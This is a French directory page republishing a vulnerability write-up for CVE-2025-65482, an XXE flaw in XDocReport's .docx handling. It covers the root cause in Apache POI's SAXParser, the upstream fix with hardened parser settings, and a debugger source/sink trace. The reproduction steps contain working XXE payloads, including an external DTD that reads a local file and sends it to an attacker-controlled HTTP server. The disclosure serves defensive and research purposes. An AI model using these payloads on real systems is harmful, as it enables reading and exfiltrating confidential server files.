Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-65482-XXE- — CVE-2025-65482 (XXE) | Kitploit
Outils/GitHubGitHub/at190510-cuong/cve-2025-65482-xxe-
Analyse des VulnérabilitésExploitationExploitation d'Applications WebExfiltration de DonnéesArticles et RechercheApprentissage et Éducation
GitHubat190510-cuong/cve-2025-65482-xxe-

CVE-2025-65482-XXE-

CVE-2025-65482 (XXE)

Voir le dépôt
12il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-65482 (XXE)

Injection d'entité externe XML (XXE) dans XDocReport

Définition du bug

Injection d'entité externe XML

Aperçu de la vulnérabilité

  • L'injection d'entité externe XML (XXE) est une vulnérabilité dans le traitement des données au format XML, où un utilisateur insère des données XML faisant référence à un fichier ou à un système externe. Un attaquant peut utiliser cette vulnérabilité XXE identifiée pour scanner d'autres systèmes à la recherche de ports de service ouverts, demander des fichiers confidentiels et accéder à des fonctionnalités de systèmes connectés qui ne seraient autrement pas disponibles. De là, l'attaquant peut extraire des données, interagir avec les systèmes et provoquer des interruptions de service via l'injection XML.

Impact commercial

  • XXE peut entraîner une atteinte à la réputation de l'entreprise en raison de la perte de confiance des utilisateurs. Il peut également entraîner un vol de données et des pertes financières indirectes pour l'entreprise via les coûts de notification, de remédiation et les données PII compromises.

Sévérité HAUTE

image

Description et impact

Le site web de gestion des ressources humaines permet aux utilisateurs de télécharger des fichiers .docx sur le système. Lors du traitement, l'application utilise la bibliothèque qui contient une vulnérabilité XXE lorsqu'elle traite le fichier de l'utilisateur via .

Télécharger l’outil
fr.opensagres.xdocreport.document.docx
.docx
SAXParser

Composant concerné

fr.opensagres.xdocreport.template.docx — XDocReport (versions =< 2.0.3)

Analyse de la cause racine

La cause est l'utilisation d'Apache POI.

root@kitploit:~
fr.opensagres.xdocreport.document.docx
   └── fr.opensagres.xdocreport.document
         └── fr.opensagres.xdocreport.template
               └── fr.opensagres.xdocreport.converter
                     └── org.apache.poi.xwpf.converter.core
                           ├── org.apache.poi:poi
                           └── org.apache.poi:poi-ooxml

C'est-à-dire qu'Apache POI est très profondément intégré, dans le module :

root@kitploit:~
org.apache.poi.xwpf.converter.core

image

L'erreur se produit car XDocReport (dans le module fr.opensagres.xdocreport.document.docx) utilise Apache POI pour lire les fichiers .docx, et POI utilise le SAXParser par défaut de Java sans désactiver les fonctionnalités permettant le traitement des DTD et des entités externes. → Cela permet à un attaquant d'insérer un DOCTYPE avec une entité pointant vers l'extérieur (SYSTEM "http://...") ou vers un fichier interne (file:///...) → générant une XXE.

image

root@kitploit:~
XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)

Étapes pour reproduire

  • Décompressez n'importe quel fichier docx
root@kitploit:~
unzip ../vcspentest.docx

image

  • Modifiez le contenu du fichier document.xml dans le docx
root@kitploit:~
nano word/document.xml

image

modifiez avec un payload outbound pour le collabrator comme suit :

root@kitploit:~
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>

image

  • recompressez en fichier poc
root@kitploit:~
 zip -r ../poc.docx *

image

image

  • téléchargez le fichier docx modifié pour qu'il soit traité par xdocreport

image

  • Résultat : on voit une requête envoyée au collabrator

image

  • Élevez l'impact pour lire des fichiers dans le système
  • machine hôte stockant le fichier dtd sur la machine wsl 172.26.208.130. avec le contenu du fichier vcspentest.dtd comme suit :
root@kitploit:~
<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;

image

image

modifiez le fichier word/document.xml dans le fichier .docx avec le contenu suivant pour charger le dtd externe depuis la machine wsl :

root@kitploit:~
<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>

image

  • zippez le fichier en .docx et téléchargez-le sur le serveur pour traitement

image

image

  • sur la machine wsl, on voit une requête envoyée avec le contenu du fichier D:/vcspentest.txt sur le serveur cible

image

image

Solution

  • https://github.com/opensagres/xdocreport/pull/547/commits/a8e48d17f02c19b807efe450d20f1755e45d818b

image

Dans le code ou au niveau de la configuration du parseur XML, il est nécessaire de désactiver toutes les fonctionnalités liées aux DTD et aux entités externes.

correction similaire à ce code

root@kitploit:~
    @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
    public String SAXParserVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml

            return "SAXParser xxe vuln code";
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
    }


    @RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
    public String SAXParserSec(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
            spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml
        } catch (Exception e) {
            logger.error(e.toString());
            return EXCEPT;
        }
        return "SAXParser xxe security code";
    }

Configuration de l'environnement de débogage

image

  • dans le fichier Main.java
root@kitploit:~
package org.example;

import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;

import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;

public class Main {

    public static void main(String[] args) {
        try {
            // Đọc file đầu vào chứa biểu thức Velocity
            File docxTemplate = new File("C:\\Users\\HP\\Downloads\\New folder (3)\\poc.docx"); // File đầu vào
            InputStream input = new FileInputStream(docxTemplate);

//             Load template sử dụng Velocity
//            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);

            // Load template sử dụng FreeMarker
            IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);

            // Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
            IContext context = report.createContext();

            // Xuất ra file mới
            OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
            report.process(context, out);

            System.out.println("✅ Đã tạo file result.docx thành công.");
        } catch (Exception e) {
            System.err.println("❌ Lỗi xử lý file:");
            e.printStackTrace();
        }
    }
}
  • Bibliothèques à importer
root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>vcs1</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>18</maven.compiler.source>
        <maven.compiler.target>18</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <!-- Template engine: FreeMarker -->
        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
            <version>2.1.0</version>
        </dependency>

        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.template.velocity</artifactId>
            <version>2.1.0</version>
        </dependency>

        <dependency>
            <groupId>fr.opensagres.xdocreport</groupId>
            <artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
            <version>2.0.3</version>
        </dependency>
    </dependencies>
</project>

Débogage – analyse source/sink

  • L'entrée provient du contenu XML dans le .docx, qui est d'abord prétraité.

image

  • Ensuite, il est traité par SAXParser sans validation de l'entrée.

image

image

image

image

  • Ensuite, il entre dans la fonction scanDocument() qui scanne le contenu XML et émet des 'événements' (START_DOCUMENT, START_ELEMENT, CHARACTERS, ENTITY_REFERENCE, etc.)

image

image

image

image

  • Vérifie si le nom de l'entité (name = "xxe") est une entité externe.

  • Si l'entité est déclarée et externe, le parseur appelle la logique de résolution externe (par exemple startExternalEntity(...) / fEntityManager.startEntity(...)) – c'est le sink : le parseur récupère le systemId/publicId et tente d'ouvrir un flux (pouvant générer une requête HTTP vers l'extérieur).

image

image

image

  • Si xxe est une entité externe, alors startEntity(...) mène à la logique d'ouverture de ressource (par exemple startExternalEntity(...) / ouverture d'un InputStream → possibilité de générer une requête HTTP vers l'URL SYSTEM).

image

image

image

  • C'est le point où le parseur commence à traiter l'entité 'xxe'.

image

image

image

image

image

image

root@kitploit:~
  // should we skip external entities?
        boolean external = entity.isExternal();
        Entity.ExternalEntity externalEntity = null;
        String extLitSysId = null, extBaseSysId = null, expandedSystemId = null;
        if (external) {
            externalEntity = (Entity.ExternalEntity)entity;
            extLitSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getLiteralSystemId() : null);
            extBaseSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getBaseSystemId() : null);
            expandedSystemId = expandSystemId(extLitSysId, extBaseSysId, fStrictURI);
            boolean unparsed = entity.isUnparsed();
            boolean parameter = entityName.startsWith("%");
            boolean general = !parameter;
            if (unparsed || (general && !fExternalGeneralEntities) ||
                    (parameter && !fExternalParameterEntities) ||
                    !fSupportDTD || !fSupportExternalEntities) {

                if (fEntityHandler != null) {
                    fResourceIdentifier.clear();
                    final String encoding = null;
                    fResourceIdentifier.setValues(
                            (externalEntity.entityLocation != null ? externalEntity.entityLocation.getPublicId() : null),
                            extLitSysId, extBaseSysId, expandedSystemId);
                    fEntityAugs.removeAllItems();
                    fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
                    fEntityHandler.startEntity(entityName, fResourceIdentifier, encoding, fEntityAugs);
                    fEntityAugs.removeAllItems();
                    fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
                    fEntityHandler.endEntity(entityName, fEntityAugs);
                }
                return;
            }
        }

image

  • La fonction startEntity() vérifie si l'entité est externe (isExternal = true), puis appelle :
root@kitploit:~
staxInputSource = resolveEntityAsPerStax(externalEntity.entityLocation);

La variable externalEntity.entityLocation contient l'URL malveillante provenant du DOCTYPE (SYSTEM "http://...oastify.com/").

image

  • Dans resolveEntityAsPerStax, la variable resourceIdentifier contient le chemin absolu : http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/

  • Cette fonction convertit ensuite resourceIdentifier en objet XMLResourceIdentifierImpl et continue en ouvrant une connexion réelle pour lire le contenu.

image

image

Références

  • https://drive.google.com/drive/folders/1hUyCznpBN7ivo5krmyJ4OQc_q626Hy5q?usp=drive_link